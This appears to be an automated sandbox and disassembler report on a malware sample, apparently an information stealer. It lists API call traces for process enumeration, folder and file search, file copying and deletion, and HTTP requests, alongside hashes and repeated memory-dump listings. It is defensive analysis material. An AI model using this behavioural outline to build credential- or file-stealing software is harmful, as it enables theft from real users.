Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 7110611bb5aaf26122e3acea646ac0f47c0892641b2b0b91cdcbdc252c306bb3
Instruction ID: cbee5d5ce849b1b87dc56cc95c8ac5c8930dda3b4b69f239a1c3f2121eb8220a
Opcode Fuzzy Hash: 7110611bb5aaf26122e3acea646ac0f47c0892641b2b0b91cdcbdc252c306bb3
Instruction Fuzzy Hash: 745111B1D2010DABDB04FBA0DC52DFDB338AF54780F408538F51A66195EE746A29CFA2

Function 002F8680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 002FA740: lstrcpy.KERNEL32(0,00000000), ref: 002FA788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,003005B7), ref: 002F86CA
Process32First.KERNEL32(?,00000128), ref: 002F86DE
Process32Next.KERNEL32(?,00000128), ref: 002F86F3

Part of subcall function 002FA9B0: lstrlenA.KERNEL32(?,00301110,?,00000000,00300AEF), ref: 002FA9C5
Part of subcall function 002FA9B0: lstrcpy.KERNEL32(00000000), ref: 002FAA04
Part of subcall function 002FA9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 002FAA12

Part of subcall function 002FA8A0: lstrcpy.KERNEL32(?,0), ref: 002FA905

CloseHandle.KERNEL32(?), ref: 002F8761

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 0345d9296085720f0e434b9a2a7318857e7427e88cb541c072510b8ebab07a3e
Instruction ID: fc0c1fd688488dfb6c405906b0a8216933aef9a0dfd70db18174d2906a0b1516
Opcode Fuzzy Hash: 0345d9296085720f0e434b9a2a7318857e7427e88cb541c072510b8ebab07a3e
Instruction Fuzzy Hash: 19316DB192121CABCB24EF50CC45FEEF778EF45780F1041A9E20EA61A0DB706A55CFA1

Function 002F4F40 Relevance: 6.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 002F8DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 002F8E0B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 002F4F7A
lstrcatA.KERNEL32(?,00301070), ref: 002F4F97
lstrcatA.KERNEL32(?,0165D4A0), ref: 002F4FAB
lstrcatA.KERNEL32(?,00301074), ref: 002F4FBD

Part of subcall function 002F4910: wsprintfA.USER32 ref: 002F492C
Part of subcall function 002F4910: FindFirstFileA.KERNEL32(?,?), ref: 002F4943

Part of subcall function 002F4910: StrCmpCA.SHLWAPI(?,00300FDC), ref: 002F4971
Part of subcall function 002F4910: StrCmpCA.SHLWAPI(?,00300FE0), ref: 002F4987
Part of subcall function 002F4910: FindNextFileA.KERNEL32(000000FF,?), ref: 002F4B7D
Part of subcall function 002F4910: FindClose.KERNEL32(000000FF), ref: 002F4B92

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 3321e8424ccefb1c72fde3835e0fb38ab3329bfb9a19ebb2976e85cddaede2a3
Instruction ID: 338f8481492a2377ef499f07eb337a81d277ed33cc70bdc2c698872876cab0c8
Opcode Fuzzy Hash: 3321e8424ccefb1c72fde3835e0fb38ab3329bfb9a19ebb2976e85cddaede2a3
Instruction Fuzzy Hash: 4121C876A1020867CB64FB70DC56EEE733CAF65300F404554F65992181EEB49ADD8F92

Function 002F6AF3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,016503A0,?,0030110C,?,00000000,?,00301110,?,00000000,00300AEF), ref: 002F6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 002F6AE8
CloseHandle.KERNEL32(00000000), ref: 002F6AF9
Sleep.KERNEL32(00001770), ref: 002F6B04
CloseHandle.KERNEL32(?,00000000,?,016503A0,?,0030110C,?,00000000,?,00301110,?,00000000,00300AEF), ref: 002F6B1A
ExitProcess.KERNEL32 ref: 002F6B22

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 83ceb86f045f17411b5ab72fd750dea61e924831d795895a4af0a1012ff6dcbf
Instruction ID: f29165efcdf32917c451b30ecab8a5b6b785bbe3788445d96f872ad70b5ff1cf
Opcode Fuzzy Hash: 83ceb86f045f17411b5ab72fd750dea61e924831d795895a4af0a1012ff6dcbf
Instruction Fuzzy Hash: 24F03A7096021EABE710ABA0DC0EBBDBA34FF14B85F104524F703A1181DBF05565EA56

Function 002E6D40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 157COMMON

Download Yara Rule

Strings

`o., xrefs: 002E6E94, 002E6DD2, 002E6EAF, 002E6E5E, 002E6DAE

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID:
String ID: `o.
API String ID: 0-2300930197
Opcode ID: 5d131ae5fc52622d918e0f87a71bd568f718df24bc0464826bfc77f5c8d4bf8b
Instruction ID: af98e1cf2f6546f40b6b5a04132f4b0a1f66b4d8ce4e3f3d25ba2770eeb6d101
Opcode Fuzzy Hash: 5d131ae5fc52622d918e0f87a71bd568f718df24bc0464826bfc77f5c8d4bf8b
Instruction Fuzzy Hash: BF6178B4D20249DFCF24CF95E988BEEB7B0BB14304F548198E41A67280D375AEA4DF91

Function 002F4BB0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 002F8DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 002F8E0B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 002F4BEA
lstrcatA.KERNEL32(?,01660A58), ref: 002F4C08

Part of subcall function 002F4910: wsprintfA.USER32 ref: 002F492C
Part of subcall function 002F4910: FindFirstFileA.KERNEL32(?,?), ref: 002F4943

Part of subcall function 002F4910: StrCmpCA.SHLWAPI(?,00300FDC), ref: 002F4971
Part of subcall function 002F4910: StrCmpCA.SHLWAPI(?,00300FE0), ref: 002F4987
Part of subcall function 002F4910: FindNextFileA.KERNEL32(000000FF,?), ref: 002F4B7D
Part of subcall function 002F4910: FindClose.KERNEL32(000000FF), ref: 002F4B92

Part of subcall function 002F4910: wsprintfA.USER32 ref: 002F49B0
Part of subcall function 002F4910: StrCmpCA.SHLWAPI(?,003008D2), ref: 002F49C5
Part of subcall function 002F4910: wsprintfA.USER32 ref: 002F49E2
Part of subcall function 002F4910: PathMatchSpecA.SHLWAPI(?,?), ref: 002F4A1E
Part of subcall function 002F4910: lstrcatA.KERNEL32(?,0165D4C0,?,000003E8), ref: 002F4A4A
Part of subcall function 002F4910: lstrcatA.KERNEL32(?,00300FF8), ref: 002F4A5C
Part of subcall function 002F4910: lstrcatA.KERNEL32(?,?), ref: 002F4A70
Part of subcall function 002F4910: lstrcatA.KERNEL32(?,00300FFC), ref: 002F4A82
Part of subcall function 002F4910: lstrcatA.KERNEL32(?,?), ref: 002F4A96
Part of subcall function 002F4910: CopyFileA.KERNEL32(?,?,00000001), ref: 002F4AAC
Part of subcall function 002F4910: DeleteFileA.KERNEL32(?), ref: 002F4B31

Part of subcall function 002F4910: wsprintfA.USER32 ref: 002F4A07

Strings

Ua/, xrefs: 002F4C2F, 002F4C64, 002F4C9A, 002F4CCF, 002F4D05, 002F4D3A, 002F4D5F, 002F4C32, 002F4C67, 002F4C9D, 002F4CD2, 002F4D08, 002F4D3D

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: Ua/
API String ID: 2104210347-1107383030
Opcode ID: 3c9aad778b1650d7d08af84dab4cf29d8503f661ec21319aaa59164e79b6a2ad
Instruction ID: db2406d88c8e0f0d63cae906961d8136dcc36cd2ede1ad171bb1051f69bdf1f9
Opcode Fuzzy Hash: 3c9aad778b1650d7d08af84dab4cf29d8503f661ec21319aaa59164e79b6a2ad
Instruction Fuzzy Hash: D2411CB76102046BD764F7A0EC42EFE733CABA5300F408918B65957186EDB15B9D8FD2

Function 002F51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 002FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 002FA7E6

Part of subcall function 002E6280: InternetOpenA.WININET(00300DFE,00000001,00000000,00000000,00000000), ref: 002E62E1
Part of subcall function 002E6280: StrCmpCA.SHLWAPI(?,0165D4E0), ref: 002E6303
Part of subcall function 002E6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 002E6335
Part of subcall function 002E6280: HttpOpenRequestA.WININET(00000000,GET,?,016613B8,00000000,00000000,00400100,00000000), ref: 002E6385
Part of subcall function 002E6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 002E63BF
Part of subcall function 002E6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 002E63D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 002F5228

Strings

ERROR, xrefs: 002F521A
ERROR, xrefs: 002F5273

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: eaca7f471bd9080504bbaf3c93316ea7fb19caaeb3469190106f46837d550aed
Instruction ID: b16a4da51309ebd2efeb22b750cf52c97cbe838579c790fba82e45a7e4398fde
Opcode Fuzzy Hash: eaca7f471bd9080504bbaf3c93316ea7fb19caaeb3469190106f46837d550aed
Instruction Fuzzy Hash: 6C11D07092014CA7DB14FF64DD529FDB378AF50380F808274FA1A56592EF706B25CE51

Function 002F5050 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 002F8DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 002F8E0B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 002F508A
lstrcatA.KERNEL32(?,0165FDD8), ref: 002F50A8

Part of subcall function 002F4910: wsprintfA.USER32 ref: 002F492C
Part of subcall function 002F4910: FindFirstFileA.KERNEL32(?,?), ref: 002F4943

Strings

a/, xrefs: 002F50CF, 002F50F4, 002F50D2

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID: a/
API String ID: 2699682494-856093475
Opcode ID: 42215e8d073c1ff4fd35295f210558dcb9ed5fb066955b10984a7154508c2cec
Instruction ID: 8c2b265a1849f69870b4fe3abc9a906dd122143a4cc777ad83eba909c62ab364
Opcode Fuzzy Hash: 42215e8d073c1ff4fd35295f210558dcb9ed5fb066955b10984a7154508c2cec
Instruction Fuzzy Hash: 6501887691020C57CB64FB70DC42EEEB33CAF65740F404554B74956191EEB09AA98FA2

Function 002F3BDB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16filestringCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(?,?,?,00000104,?,00000104), ref: 002F3935
StrCmpCA.SHLWAPI(?,00300F70), ref: 002F3947
StrCmpCA.SHLWAPI(?,00300F74), ref: 002F395D
FindNextFileA.KERNELBASE(000000FF,?), ref: 002F3C67
FindClose.KERNEL32(000000FF), ref: 002F3C7C

